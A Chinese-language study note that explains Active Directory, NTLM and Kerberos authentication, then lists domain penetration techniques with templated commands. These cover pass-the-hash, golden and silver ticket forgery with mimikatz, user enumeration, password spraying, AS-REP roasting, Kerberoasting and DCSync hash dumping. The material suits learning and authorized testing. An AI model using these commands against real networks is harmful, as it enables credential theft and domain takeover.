-- 域 --
概念
- 活动目录(Active Directory, AD): 指域环境中提供目录服务的组件 由组织单元、域(domain)、域树(tree)、森林(forest)构成的层次结构 域是最基本的管理单元, 其中域树包含多个域, 森林包含多个域树
- Active Directory数据库(AD)
- 作用: 目录服务数据库, 存储所有域对象(用户 计算机 组 策略等)的完整信息
- 域:
- 概念: 网络上的用户和计算机组成的一个逻辑组或逻辑集合, Windows网络中独立运行的逻辑组织单元
- 作用: 能够统一管理实现 权限控制 安全策略分发 数据同步, 如果企业网络中计算机和用户数量较多时, 要实现高效管理, 就需要windows域
- 域间: 域间需建立 信任关系(Trust Relation) 才能实现资源共享、管理及通信
- 域控制器(Domain Controller, DC):
- 概念: 一台安装并运行Active Directory的服务器, 统一管理 帐户数据库 用户登录 资源访问认证及其管理任务
- 数量: 一个域可有多个域控制器, 各域控制器的地位平等, 并会互相同步信息, 管理员可以在任一台域控制器上更新域中的信息
- 关键服务: Kerberos认证(用于用户身份验证) DNS服务(解析域内资源名称) SYSVOL共享(存储组策略和脚本)
- 域用户和计算机
- 域用户: 当计算机加入域时, 域的全局组Domain Users会被添加到计算机本地User组中, 因此域用户可以在域中的任何一台计算机上登录
- 计算机账户: 每台加入域的计算机的SYSTEM用户 对应 域中的机器用户(用户名格式为
机器名$
), 在本地计算机使用SYSTEM用户可以以机器用户的权限进行域内的操作
- 域工作流程
- 用户登录
- 输入域账户(如
user@contoso.com
) - 本地计算机将认证请求转发至域控制器
- 域控制器验证账户密码,颁发 Kerberos 票据(TGT)
- 输入域账户(如
- 资源访问
- 用户访问共享文件夹时,系统使用 Kerberos 票据向域控制器申请 服务票据(ST)
- 文件服务器验证票据后授权访问
- 策略应用
- 域控制器通过 组策略(GPO) 下发安全设置(如密码复杂度、防火墙规则)
- 客户端开机时自动从最近的域控制器同步策略
- 用户登录
身份认证(NTLM)
- NTLM使用: NTLM主要用于windows本地和工作组环境的认证, 域环境首选kerberos认证, 但也可使用NTLM
- NTLM Hash: password -> Unicode转换 -> MD4加密 -> NTLM Hash
- windows本地认证:
- windows本地登录时, 会调用
winlogon.exe
进程(也就是我们平常见到的登录框)接收用户的密码, - 密码会被传送给进程
lsass.exe
, 该进程会先在内存中存储一份明文密码, 然后将明文密码加密为NTLM Hash后, 与Windows本地的SAM数据库(%SystemRoot%\system32\config\SAM
)中该用户的NTLM Hash对比, - 如果一致则通过认证 注:
Windows Vista
及以上系统(含Server2008+), lsass.exe默认不存储明文, 只存储NTLM Hash
- windows本地登录时, 会调用
- 工作组环境:
- 客户端向服务端发送本机的一些信息
- 服务端接收后, 生成一个随机的16位的Challenge(挑战随机数), 本地储存后将Challenge返回给客户端
- 客户端接收Challenge后, 使用用户输入密码的NTLM Hash对Challenge进行加密生成Response, 将Response发送给服务端
- 服务端接收Response, 使用数据库中对应用户的NTLM Hash对之前存储的Challenge进行加密, 得到的结果与接收的Response进行对比, 如果一致则通过认证
- 域环境:
- 首先客户端向服务端发送用户名以及本机的一些信息
- 服务端接收后, 生成一个随机的16位的Challenge(挑战随机数), 本地储存后将Challenge返回给客户端
- 客户端接收Challenge后, 使用用户输入密码的NTLM Hash对Challenge进行加密生成Response, 将Response发送给服务端
- 服务端将 用户名 Challenge Response 发送给域控(DC)
- 域控(DC)接收后, 用本地数据库(NTDS.dit)里的NTLM Hash加密Challenge, 将结果与Response比对, 并将结果发送给服务端
- 服务端将结果返回给客户端
- 注: NTLMv1 Response使用DES加密, NTLMv2 Response使用HMAC-MD5加密
身份认证(Kerberos)
- Kerberos使用: Kerberos主要用于域环境的认证, 是基于票据(Ticket)的认证方式
- 概念:
- KDC(Key Distribution Center): 密钥分发中心, 是域控的核心组件之一, 包含两个核心组件AS TGS
- AS(Kerberos Authentication Service): kerberos认证服务, 负责接收用户的登录请求, 验证用户身份后生成TGT
- TGS(Ticket Granting Service): 票据授权服务, 接收用户提交的 TGT和"目标服务请求", 验证TGT合法性后, 生成对应服务的票据ST
- TGT(Ticket Granting Ticket): 票据授予票据, 用于向KDC的TGS申请 访问具体服务的票据ST
- ST(Service Ticket): 服务票据, 也叫TGT票据, 用于向目标服务提交ST, 验证ST合法性后允许用户访问资源
- 服务账户: 用于运行 服务、进程、用户程序 的专用账户
- krbtgt账户: Kerberos认证体系的核心内置账户, 相当于kerberos认证中KDC的服务账户
- 个人账户: 供给个人登录的账户
- 用户登录获取TGT(AS-REQ 认证服务请求)
- 用户登录时, 向KDC发送输入的 用户名 和 经输入的密码加密的 时间戳和客户端信息(也叫预认证数据)
- KDC接收后, 向AD数据库中寻找 对应用户名的密码, 并用该密码解密 预认证数据后, 若解密成功 且时间戳正确, 则通过验证
- 通过验证后, KDC利用用户密码加密AS Session Key, 然后生成将用户信息和AS Session Key原文 使用krbtgt用户的密钥加密生成TGT, 并将AS Session Key密文和TGT返回给客户端
- 客户端接收后, 通过自己的密码 解密AS Session Key, 并将AS Session Key原文和TGT缓存到本地
- 获取ST(TGS-REQ 票据授予服务请求)
- 用户向TGS请求ST, 请求中包含经AS Session Key加密的Authenticator(包含时间戳和客户端id等信息)、请求访问的服务名(SPN)、TGT(包含用户信息)
- TGS接收后, 使用krbtgt用户的密钥对TGT进行解密, 得到AS Session Key原文, 并用其解密Authenticator, 若, 验证时间戳和客户端id信息, 若成功则通过认证
- 通过认证后, TGS利用AS Session Key加密的Service Session Key, 并用服务账户密钥加密 请求用户的信息和ServiceSessionKey生成ST, 并将ServiceSessionKey密文和ST返回给客户端
- 使用ST(AP-REQ 应用请求): 利用ST访问服务
-- 域渗透 --
信息收集
- 判断是否存在域:
net config workstation
- 查看域控主机: 域控主机通常会开启 88(Kerberos) 389(LDAP) 端口 使用fscan等工具进行扫描发现
- 查看域管
- 域管理员:
net group "domain admins" /domain
- 域控制器:
net group "domain controllers" /domain
- 域管理员:
- 查看域计算机的登录情况
PVEFindADUser.exe -current <域>\<用户>
(用户中可用*
模糊查询) 使用bloodhound
- 横向 -
哈希传递攻击(PTH)
- 作用: 登录其它域用户
- 前提: 得到域用户密码的哈希值
-
攻击:
-
crackmapexec smb <ip> -u <域用户名> -H <密码哈希> -d <域名> -x "<cmd指令>"
-
impacket-smbexec -hashes :<密码哈希> <域名>/<域用户名>@<ip> -codec gbk
-
impacket-wmiexec -hashes :<密码哈希> <域名>/<域用户名>@<ip> -codec gbk
-
msf执行单个命令的PTH模块: auxiliary/admin/smb/psexec_command
-
msf执行直接就获取到meterpreter的PTH模块: exploit/windows/smb/psexec
-
msf支持对一个网段进行PTH进行验证的模块: exploit/windows/smb/psexec_psh
-
- 原理: 哈希传递是针对NTLM协议的攻击技术, 因NTML协议验证身份时无需传输明文密码, 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码
票据传递攻击(PTT)
- 简介: 利用伪造的票据进行身份认证, 其中票据又分为 黄金票据 与 白银票据
- 黄金票据:
- 原理: 当拥有krbtgt账户的密钥和sid时, 可以伪造任意TGT, 进而获取域管理权限, 因为TGT 是利用用户信息和AS Session Key原文 使用krbtgt用户的密钥 加密生成的
- 前提: 知道 krbtgt账户的NTLM Hash/aes256 和 krbtgt账户的sid
- 利用: mimikatz中输入
kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt的sid> /krbtgt:<krbtgt的NTLM Hash>
生成黄金票据, 再输入kerberos:ptt <黄金票据文件名>
导入黄金票据
- 白银票据:
- 原理: 当拥有服务账户的HTLM Hash和sid, 可以伪造该服务的ST, 从而访问该用户, 因为ST 是利用 请求用户的信息和AS Session Key 使用 服务账户密钥 加密生成的
- 前提: 知道 目标服务账户的NTLM Hash 和 目标服务账户的sid
- 利用: mimikatz中输入
kerberos::golden /domain:<所属域名称> /sid:<服务账户sid> /target:<目标服务器的FQDN> /service:<要访问的服务> /rc4:<服务账户NTLM Hash> /user:<要伪造的用户> /ptt
- 爆破/枚举 -
域用户枚举
- 作用: 爆破出域内存在的用户
- 攻击方法
./kerbrute_linux_amd64 userenum --dc <域控ip> -d <域名> <用户名字典> -t 10
注: 只能在域内靶机上运行, 不能通过代理来枚举域内用户- msf
auxiliary/gather/kerberos_enumusers
模块
- 原理: kerberos认证 发送AS-REQ请求时, 用户不存在 与 密码错误 会返回不同的错误码
- 错误码:
KDC_ERR_C_PRINCIPAL_UNKNOWN
(用户不存在);KDC_ERR_PREAUTH_REQUIRED
(用户存在且启用预认证)
域用户密码爆破
- 爆破(kerberos):
kerbrute_linux_amd64 passwordspray --dc <域控ip> -d <域名> <用户字典/单个用户名> <密码字典/单个密码>
- 爆破(smb): msf
auxiliary/scanner/smb/smb_login
模块 - 爆破(ldap): 渗透基础——通过LDAP协议暴力破解域用户的口令
AS-REP Roasting
- 作用: 获取个人账户的密码
- 前提: 用户未启用预认证(
Kerberos pre-authentication
), 默认是启用的 - 原理: AS-REQ阶段 当未启用预认证时, 向KDC发送AS-REP认证请求, 若用户存在KDC就会直接返回TGT, 而TGT是使用用户密码哈希进行加密, 所以可以通过爆破来获取用户密码
- 攻击方法:
- 获取TGT:
GetNPUsers.py -dc-ip <ip地址> -usersfile <用户名字典> <域名>/
- 爆破:
hashcat -m 18200 --force -a 0 '<哈希>' <字典>
- 获取TGT:
Kerberoasting
- 作用: 获取服务账户的密码
- 原理: ST是由服务账户的密码哈希进行加密的, 所以通过爆破来获取服务账户的密码
- 利用:
- 获取ST:
GetUserSPNs.py -dc-ip <域控ip> <域名>/<用户>:<密码> -outputfile tgs
- 爆破:
john --wordlist=<字典> tgs
- 获取ST:
- 其它攻击 -
DCSync攻击
- 作用: 获取域内所有用户的密码hash
- 前提: 拥有域复制权限, 以及能访问目标DC的88(Kerberos)和445(SMB)端口通常情况下以下组内用户拥有 域复制权限 (即默认情况下域管理员组具有该权限)
- Administrators 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
- 域管理员/域控主机内的账户
即拥有 DS-Get-Changes + DS-Get-Changes-All + Replicating-Directory-Changes 权限
- 攻击方法:
使用mimikatz- 获取单个域用户哈希:
mimikatz.exe "lsadump::dcsync /domain:<域名> /user:用户" exit
- 导出所有域用户哈希:
mimikatz.exe "lsadump::dcsync /domain:<域名> /all" exit
使用meterpreter的kiwi模块 - kiwi_cmd指令: kiwi_cmd指令实际就是meterpreter内置的mimikatz工具
- 获取单个域用户哈希:
- 原理:
背景: 域内不同域控制器(DC)之间的会进行数据同步复制(默认每15分钟同步依次), 当一个DC从另外一个DC同步数据时, 发起请求的一方会通过目录复制协议(MS-DRSR)来对另外一台域控中的域用户密码进行复制
攻击原理: DCSync则是模拟DC向真实DC发送数据同步请求, 获取其它域用户凭据数据 - 特点: 由于利用了Windows RPC协议, 并不需要登陆域控或者在域控上落地文件, 避免触发EDR告警, 因此DCSync时一种非常隐蔽的凭据窃取方式